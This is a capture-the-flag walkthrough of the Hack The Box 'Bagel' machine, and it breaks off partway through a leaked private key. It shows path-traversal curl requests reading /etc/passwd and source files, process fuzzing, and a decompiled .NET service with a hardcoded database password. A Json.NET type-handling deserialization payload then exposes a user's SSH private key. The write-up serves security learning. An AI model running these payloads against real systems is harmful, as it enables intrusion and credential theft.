Bagel Hack The Box Walkthrough

Bagel Hack The Box Writeup

In recent weeks, I have been passionately engaged in the world of Hack The Box. Today, I made the deliberate choice to delve into the intricacies of deserialization vulnerabilities. My primary objective was to acquire profound insights into code reviews and deserialization techniques, leading me to select the HTB machine aptly named ‘Bagel.’ This Linux-based runs features an underlying .NET application. Our overarching mission is to execute meticulous code scrutiny and meticulously orchestrate deserialization attacks, ultimately granting us access to both the user and root flags. To embark upon this endeavor, let us commence with our enumeration with Nmap scan.

# nmap -T4 --min-rate=1000 -p- -sC -sV 10.10.11.201
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 23:11 EDT
Nmap scan report for 10.10.11.201
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA)
|_  256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Mon, 30 Oct 2023 03:11:41 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Mon, 30 Oct 2023 03:11:56 GMT
|     Connection: close
|   Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Mon, 30 Oct 2023 03:12:06 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Mon, 30 Oct 2023 03:11:41 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Mon, 30 Oct 2023 03:11:41 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Mon, 30 Oct 2023 03:11:36 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html


Nmap done: 1 IP address (1 host up) scanned in 114.28 seconds

In the course of our initial scan, we have ascertained the existence of various open ports, each being assigned to specific services. For instance, port 22 is engaged in running OpenSSH version 8.8, while port 8000 is designated for HTTP services. Our forthcoming objective involves a thorough investigation into whether port 8000 serves as a host for a web application. However, as a preliminary step, I shall append “Bagel.htb” to the host file, along with its corresponding IP address. Subsequently, we shall proceed to access “http://bagel.htb/” via the web browser.

Bagel Home Page

Upon perusing the orders page, it becomes evident that a list of orders is presented as follows:

Bagel Order Page

As we navigate between the home and orders pages, a noteworthy observation arises: the presence of a parameter denoted as “?page=index.html.” This parameter, labeled “page,” potentially exposes a Path Traversal vulnerability, paving the way for a Local File Inclusion (LFI) attack. By manipulating the “page=” parameter, we can exploit this vulnerability to retrieve sensitive files from the target system, including files like “/etc/passwd.” These files, once obtained, will facilitate the identification of potential users. Using the curl command, we can obtained the access of the /etc/passwd file located on the target machine. By utilizing the curl command provides us with the means to access the “/etc/passwd” file situated on the target machine.

# curl 'http://bagel.htb:8000/?page=/../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false

In the presented findings, we have identified two intriguing users, namely “developer” and “phil.” In light of this discovery, I proceeded to initiate the Burp Suite, a valuable tool for capturing HTTP request and response pairs. This step was undertaken with the aim of unraveling essential background details about the web application, including pertinent information such as the server type and the version of the underlying framework.

Subsequently, one of the HTTP responses that I managed to acquire by visiting the URL “http://bagel.htb:8000/?page=index.html.” This response has furnished us with valuable insights, shedding light on the intricacies of the web application.

HTTP/1.1 304 NOT MODIFIED
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Mon, 30 Oct 2023 04:19:29 GMT
Content-Disposition: inline; filename=index.html
Cache-Control: no-cache
ETag: "1674754839.6421967-8698-149884447"
Date: Mon, 30 Oct 2023 04:19:29 GMT
Connection: close

Let us switch back to our command line utility curl and request /proc/self/cmdline file. The file “/proc//cmdline” serves as a repository for the command-line arguments that have been provided to a specific process identified by its Process ID (PID). However, in scenarios where we lack knowledge of the PID associated with the web application, we can resort to the “self” reference. By reading the contents of “/proc/self/cmdline,” we gain insight into the command-line arguments that may have been passed to the current process, which, in this context, corresponds to the web application.

# curl http://bagel.htb:8000/?page=/../../../../../../../../proc/self/cmdline --output -
python3/home/developer/app/app.py  

It seems like the web app is running from the “/home/developer/app/app.py” directory. This location gives us key details about the app’s file structure and the Python script (“app.py”) responsible for running it. We can read the “app.py” file from this location using the same method.

# curl http://bagel.htb:8000/?page=/../../../../../../../../home/developer/app/app.py  
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

bserving the app.py source code, it’s clear that the developer used Flask, a Python web framework, in addition to Web Sockets and JSON. The code also features two routes, namely @app.route(‘/’) and @app.route(‘/orders’). The default / route directs to the ‘static’ directory, and if the page variable is anything else, it triggers a “file not found” error. The second @app.route(‘/orders’) leads to the orders.txt file. Furthermore, there’s a comment advising not to forget to initiate the order app using the “dotnet ” command and to utilize your SSH key for machine access. This suggests the presence of at least one user with SSH access and a program called dotnet for executing the DLL file to read orders from the text file.

By examining the password file in the provided curl command, we can ascertain the existence of a user named “developer.” Therefore, it’s reasonable to assume that the user “developer” likely possesses SSH access to execute the DLL files. Now, we’ll use the WFUZZ tool to discover the running process associated with the dotnet application on the target machine.

# wfuzz -z range,1-30000 --ss dotnet -u 'http://bagel.htb:8000/?page=../../../../../../proc/FUZZ/cmdline'
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bagel.htb:8000/?page=../../../../../../proc/FUZZ/cmdline
Total requests: 30000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================
000000890:   200        0 L      1 W        45 Ch       "890"
000000892:   200        0 L      1 W        45 Ch       "892"                       
000000931:   200        0 L      1 W        45 Ch       "931"                       
000000929:   200        0 L      1 W        45 Ch       "929"                       
000000930:   200        0 L      1 W        45 Ch       "930"                       
000000928:   200        0 L      1 W        45 Ch       "928"                       
000000927:   200        0 L      1 W        45 Ch       "927"                       
000000926:   200        0 L      1 W        45 Ch       "926"                       
000000935:   200        0 L      1 W        45 Ch       "935"                       
000001018:   200        0 L      1 W        45 Ch       "1018"                      
000001016:   200        0 L      1 W        45 Ch       "1016"                      
000001013:   200        0 L      1 W        45 Ch       "1013"                      

Total time: 0
Processed Requests: 30000
Filtered Requests: 29989
Requests/sec.: 0

The WFUZZ command above runs through a range of FUZZ words from 1 to 30,000, looking for the word ‘dotnet.’ This word usually indicates where dotnet operations are executing. It also generates a list of paths from /proc//cmdline where dotnet is active. We’ll use the CURL command on each of these entries to find the path running the DLL file.

I’ve put together a basic bash script to go through the payloads that returns the HTTP/200 response in the previous command. This script utilizes the CURL command to iterate through the list and determine the underlying command being executed in the /proc//cmdline file.

#!/bin/bash
list=("890" "892" "931" "929" "930" "928" "927" "926" "935" "1018" "1016" "1013")
for i in ${list[@]}
do
        curl 'http://bagel.htb:8000/?page=../../../../../proc/'$i'/cmdline'  --output -
        echo ""
done

# ./enum_proc.sh   
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
python3/home/developer/app/app.py
File not found
File not found
/usr/sbin/gssproxy-D
File not found
File not found
File not found
/usr/sbin/gssproxy-D
File not found
File not found
File not found

By exploiting the path traversal vulnerability, we’ve pinpointed the path to the DLL file being executed by the dotnet program, which is located at dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll. Now, we’ll make use of the same CURL once more to download the DLL file.

# curl 'http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll'  --output bagel.dll 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10752  100 10752    0     0   278k      0 --:--:-- --:--:-- --:--:--  283k

Now that we have the DLL file, let’s use dnSpy to delve into the source code and take a closer look at the Bagel program. Here are a few things I noticed while reviewing the source code for Bagel.dll. You might come across some additional insights.

Source Code Review Bagel Hack The Box

When examining in the dnSpy, we can see that the Bagel server comprises six components: Bagel, Base, DB, File, Handler, and Orders. The main class in the Bagel component is structured as follows.

public class Bagel
	{
		// Token: 0x06000008 RID: 8 RVA: 0x00002108 File Offset: 0x00000308
		private static void Main(string[] args)
		{
			Bagel.InitializeServer();
			Bagel.StartServer();
			for (;;)
			{
				Thread.Sleep(1000);
			}
		}
	}

The main class of the Bagel server initializes and starts the server. The ‘InitializeServer’ method within the main class triggers the Watson Websocket Server.

private static void InitializeServer()
		{
			Bagel._Server = new WatsonWsServer(Bagel._ServerIp, Bagel._ServerPort, Bagel._Ssl);
			Bagel._Server.AcceptInvalidCertificates = true;
			Bagel._Server.MessageReceived += Bagel.MessageReceived;
		}

private static void StartServer()
		{
			Bagel.<StartServer>d__6 <StartServer>d__ = new Bagel.<StartServer>d__6();
			<StartServer>d__.<>t__builder = AsyncVoidMethodBuilder.Create();
			<StartServer>d__.<>1__state = -1;
			<StartServer>d__.<>t__builder.Start<Bagel.<StartServer>d__6>(ref <StartServer>d__);
		}

The ‘StartServer’ method initiates a new instance of the Watson Websocket Server. Following that, there’s the ‘MessageReceived’ method, which serves as an event handler for the ‘MessageReceived’ event of the Watson Websocket server. It takes two arguments: ‘Sender’ as an object and ‘args’ as Message Received Event Arguments. This method is invoked when the server receives a message, extracting its content in JSON format from the event argument. Subsequently, it deserializes the JSON content into C# objects using an instance of the ‘Handler’ class and then serializes it back to JSON format. Finally, it sends the message back to the client using the ‘SendAsync’ method. This code appears to be vulnerable with Deserilization attack and we will look into in shortly.

namespace bagel_server
{
	// Token: 0x0200000A RID: 10
	public class DB
	{
		// Token: 0x06000022 RID: 34 RVA: 0x00002518 File Offset: 0x00000718
		[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
		public void DB_connection()
		{
			string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
			SqlConnection sqlConnection = new SqlConnection(text);
		}
	}
}

Looking at the DB, we are seeing a credentials for the SQL server connection. We will also keep this in mind and would need this later. Although trying SSH using this credentials didn’t work. Now let’s look at the Handler class.

namespace bagel_server
{
	// Token: 0x02000005 RID: 5
	[NullableContext(1)]
	[Nullable(0)]
	public class Handler
	{
		// Token: 0x06000005 RID: 5 RVA: 0x00002094 File Offset: 0x00000294
		public object Serialize(object obj)
		{
			return JsonConvert.SerializeObject(obj, 1, new JsonSerializerSettings
			{
				TypeNameHandling = 4
			});
		}

		// Token: 0x06000006 RID: 6 RVA: 0x000020BC File Offset: 0x000002BC
		public object Deserialize(string json)
		{
			object result;
			try
			{
				result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
				{
					TypeNameHandling = 4
				});
			}
			catch
			{
				result = "{\"Message\":\"unknown\"}";
			}
			return result;
		}
	}
}

The handler class features two methods that we’re about to look into more closely. The first one is ‘Serialize,’ which takes an ‘obj’ object as input and provides the corresponding JSON string for that ‘obj.’ Moreover, this method serializes the ‘obj’ data using the ‘JsonConvert.SerializeObject()’ method. The second method is ‘Deserialize,’ which essentially accepts a JSON string input and then deserializes it using the ‘JsonConvert.DeserializeObject’ method. When we examine both methods, we observe a common factor: ‘TypeNameHandling.’

‘TypeNameHandling’ is an enumeration process utilized within JSON.NET, also known as the Newtonsoft.JSON library. It serves to regulate the inclusion and manage of type information during JSON serialization and deserialization. By referring to the documentation, we find that ‘TypeNameHandling = 4’ specifies the .NET type name when the object’s type being serialized differs from its declared type. It’s important to note that this doesn’t encompass the root serialized object by default. To incorporate the root object’s type name in the JSON, you must explicitly specify a root type object using ‘SerializeObject(Object, Type, JsonSerializerSettings)’ or ‘Serialize(JsonWriter, Object, Type).’

According to the documentation, the type information does not encompass the root serialized object. Therefore, to exploit the insecure deserialization, we must explicitly specify the root type object for inclusion in the JSON serialization. If deserialization is successful, the method yields the deserialized object; otherwise, it returns the message “unknown.” Now, let’s turn our attention to the base class.

namespace bagel_server
{
	// Token: 0x02000007 RID: 7
	[NullableContext(1)]
	[Nullable(0)]
	public class Base : Orders
	{
		// Token: 0x17000001 RID: 1
		// (get) Token: 0x0600000E RID: 14 RVA: 0x00002278 File Offset: 0x00000478
		// (set) Token: 0x0600000F RID: 15 RVA: 0x00002290 File Offset: 0x00000490
		public int UserId

		{
			get
			{
				return this.userid;
			}
			set
			{
				this.userid = value;
			}
		}

		// Token: 0x17000002 RID: 2
		// (get) Token: 0x06000010 RID: 16 RVA: 0x0000229C File Offset: 0x0000049C
		// (set) Token: 0x06000011 RID: 17 RVA: 0x000022B4 File Offset: 0x000004B4
		public string Session

		{
			get
			{
				return this.session;
			}
			set
			{
				this.session = value;
			}
		}

		// Token: 0x17000003 RID: 3
		// (get) Token: 0x06000012 RID: 18 RVA: 0x000022C0 File Offset: 0x000004C0
		public string Time

		{
			get
			{
				return DateTime.Now.ToString("h:mm:ss");
			}
		}

		// Token: 0x04000007 RID: 7
		private int userid = 0;

		// Token: 0x04000008 RID: 8
		private string session = "Unauthorized";
	}
}

The base class inherits from the ‘Order’ class and contains three properties: UserID, Session, and Time. UserID and Session are straightforward properties with get and set methods, while Time stores the current time. The ‘Base’ class is annotated with [NullableContext(1)] and [Nullable(0)], indicating that it permits the storage of NULL values for reference types within the class. Now, let’s examine the ‘Order’ class.

namespace bagel_server
{
	// Token: 0x02000008 RID: 8
	[NullableContext(1)]
	[Nullable(0)]
	public class Orders
	{
		// Token: 0x17000004 RID: 4
		// (get) Token: 0x06000014 RID: 20 RVA: 0x000022FF File Offset: 0x000004FF
		// (set) Token: 0x06000015 RID: 21 RVA: 0x00002307 File Offset: 0x00000507
		public object RemoveOrder { get; set; } //FOCUS ON UNIMPLEMENTED METHOD HERE

		// Token: 0x17000005 RID: 5
		// (get) Token: 0x06000016 RID: 22 RVA: 0x00002310 File Offset: 0x00000510
		// (set) Token: 0x06000017 RID: 23 RVA: 0x0000232D File Offset: 0x0000052D
		public string WriteOrder
		{
			get
			{
				return this.file.WriteFile;
			}
			set
			{
				this.order_info = value;
				this.file.WriteFile = this.order_info;
			}
		}

		// Token: 0x17000006 RID: 6
		// (get) Token: 0x06000018 RID: 24 RVA: 0x0000234C File Offset: 0x0000054C
		// (set) Token: 0x06000019 RID: 25 RVA: 0x0000236C File Offset: 0x0000056C
		public string ReadOrder
		{
			get
			{
				return this.file.ReadFile;
			}
			set
			{
				this.order_filename = value;
				//THE FOLLOWING LINES ARE SANITIZATION METHODS 
				this.order_filename = this.order_filename.Replace("/", "");
				this.order_filename = this.order_filename.Replace("..", "");
				//The READFILE Properties of the ReadOrder method
				this.file.ReadFile = this.order_filename;
			}
		}

		// Token: 0x04000009 RID: 9
		private string order_filename;

		// Token: 0x0400000A RID: 10
		private string order_info;

		// Token: 0x0400000B RID: 11
		private File file = new File();
	}
}

When we inspect the ‘Order’ class, we see that it’s also marked with [NullableContext(1)] and [Nullable(0)], signifying that NULL values are permitted for reference types within the class. The ‘WriteOrder’ method returns the ‘WriteFile’ property of the ‘File’ class instance, which we will examine shortly.

The ‘ReadOrder’ property of the method implements the get method, which retrieves the ‘ReadFile’ property of the ‘File’ class instance. The set method of the ‘ReadOrder’ function also sanitizes the string, replacing “/” or “..” with an empty string.

The ‘RemoveOrder’ is essentially a pair of get and set properties, but it’s worth noting that the method is not implemented. Now, let’s take a closer look at the ‘File’ class.

namespace bagel_server
{
	// Token: 0x02000009 RID: 9
	[NullableContext(1)]
	[Nullable(0)]
	public class File
	{
		// Token: 0x17000007 RID: 7
		// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600
		// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DD
		public string ReadFile
		{
			get
			{
				return this.file_content;
			}
			set
			{
				this.filename = value;
				this.ReadContent(this.directory + this.filename);
			}
		}

		// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618
		public void ReadContent(string path)
		{
			try
			{
				IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
				this.file_content += string.Join("\n", values);
			}
			catch (Exception ex)
			{
				this.file_content = "Order not found!";
			}
		}

		// Token: 0x17000008 RID: 8
		// (get) Token: 0x0600001E RID: 30 RVA: 0x00002474 File Offset: 0x00000674
		// (set) Token: 0x0600001F RID: 31 RVA: 0x0000248C File Offset: 0x0000068C
		public string WriteFile
		{
			get
			{
				return this.IsSuccess;
			}
			set
			{
				this.WriteContent(this.directory + this.filename, value);
			}
		}

		// Token: 0x06000020 RID: 32 RVA: 0x000024A8 File Offset: 0x000006A8
		public void WriteContent(string filename, string line)
		{
			try
			{
				File.WriteAllText(filename, line);
				this.IsSuccess = "Operation successed";
			}
			catch (Exception ex)
			{
				this.IsSuccess = "Operation failed";
			}
		}

		// Token: 0x0400000D RID: 13
		private string file_content;

		// Token: 0x0400000E RID: 14
		private string IsSuccess = null;

		// Token: 0x0400000F RID: 15
		private string directory = "/opt/bagel/orders/";

		// Token: 0x04000010 RID: 16
		private string filename = "orders.txt";
	}
}

The ‘File’ class is likewise marked with [NullableContext(1)] and [Nullable(0)], indicating that NULL values are allowed for reference types within the class. The ‘ReadFile’ method implements the get property, which retrieves the file content from ‘orders.txt,’ and the set property designates the file’s filepath.

The ‘ReadContent’ method reads the content of the specified file using the File.ReadLines method with UTF-8 encoding. On the other hand, the ‘WriteContent’ method writes the provided content to the file.

Let’s summarized the above code

  1. Bagel: Serving as the entry point of our application, this component is responsible for initiating the web server and configuring the routing mechanism.
  2. Handler: This class contains a Deserialized method that deserialized the JSON string into an object of type Base. The ‘TypeNameHandling’ setting is set to 4. Which means it includes the .NET type name in the serialized JSON when the actual object type does not match with the declared type. This is the place where we might have insecure deserialized vulnerability if not properly secured.
  3. Base: The Base class inherits from the Order class and contains three properties. UserID, Session and Time.
  4. Orders: The Order class contains the properties for ‘RemoveOrder’, ‘WriteOrder’ and ‘ReadOrder’. The ‘RemoveOrder’ does only contains get and set properties. The ‘WriteOrder’ and ‘ReadOrder’ methods interact with the File class to read and write file content.
  5. File: The class provide Helper methods for reading and writing file content.

Now that we have our understanding of the codebase, let us take advantage of the ‘RemoveOrder’ method which has not been implemented and it has only get and set properties. We could potentially assign an arbitrary type that will be inferred due to the settings defined in the Handler class. We will take advantage of the File class to bypass the sanitization in the ‘ReadOrder’ method and we will try to read files from the target system. Recallign the app.py code with the route ‘/orders’ where we have a web socket server running on port 5000 and interact with the orders.txt file. So first we will try to check if the ‘ReadOrder’ as well as the ‘WriteOrder’ works properly as per the codebase we have analyzed using the following little python script.

# more deserialized.py 
import websocket, json
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000")
json_val = {"WriteOrder" : "This was a test"}
data = str(json.dumps(json_val))
ws.send(data)
print(ws.recv())
ws.close()

┌──(root㉿kali)-[~/Downloads/Bagel.htb]
└─# python deserialized.py
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "7:48:02",
  "RemoveOrder": null,
  "WriteOrder": "Operation successed",
  "ReadOrder": null
}
           
# curl http://bagel.htb:8000/orders                                         
This was a test 

The above python script establish the WebSocket connection with the Bagel server running on port 5000. Following to that the script creates the JSON key-value pair with {‘WriteOrder’ : ‘This was a test’} which would overwrite the current values in the orders.txt file.

The ws.recv() will wait for the results and it will give us insight on how the ‘WriteOrder’ functions is being handled in the requst. The output shows “Operation Successed”. As per our analysis, this was a simple test to understand how the ‘WriteOrder’ can help us uncover the potential security vulnerabilities. Also, using the curl utility, we verify that the Write into file orders.txt was succesful.

Since, we know that the presence of the deserialization vulnerabiltiy we can now try to take advantage of the ‘RemoveOrder’ method which has only get and set properties but is not implemented. With the ‘TypeNameHandling’ present in our Handler class and unimplemented ‘RemoveOrder’ method with the return type ‘object’, we can craft a specific JSON payload to read arbitrary files on the target system. We will also bypass the sanitization properties of the ‘ReadOrder’ method.

So our payload will look something as follows:

{
	"RemoveOrder" :{
		"$type" : "bagel_server.File, bagel",
		"ReadFile" : "../../../../../../home/phil/.ssh/id_rsa"
	}
}

In this payload, we use the unimplemented method ‘RemoveOrder’ and the $type as ‘bagel_server.File’ which causes the deserializer to create an instance of the File class. We can than use this File object’s ReadFile method to read the content of the arbitrary file from the filesystem. In our case, we are trying to extract the ssh key for the user phil. Our updated scripts will look as follows.

# more deserialized.py 
import websocket, json
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000")
json_val = {"RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":"../../../../home
/phil/.ssh/id_rsa"}}
data = str(json.dumps(json_val))
ws.send(data)
print(ws.recv())
ws.close()

Once we execute the above script, we should get our SSH keys for the user phil.

# python deserialized.py 
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "8:47:41",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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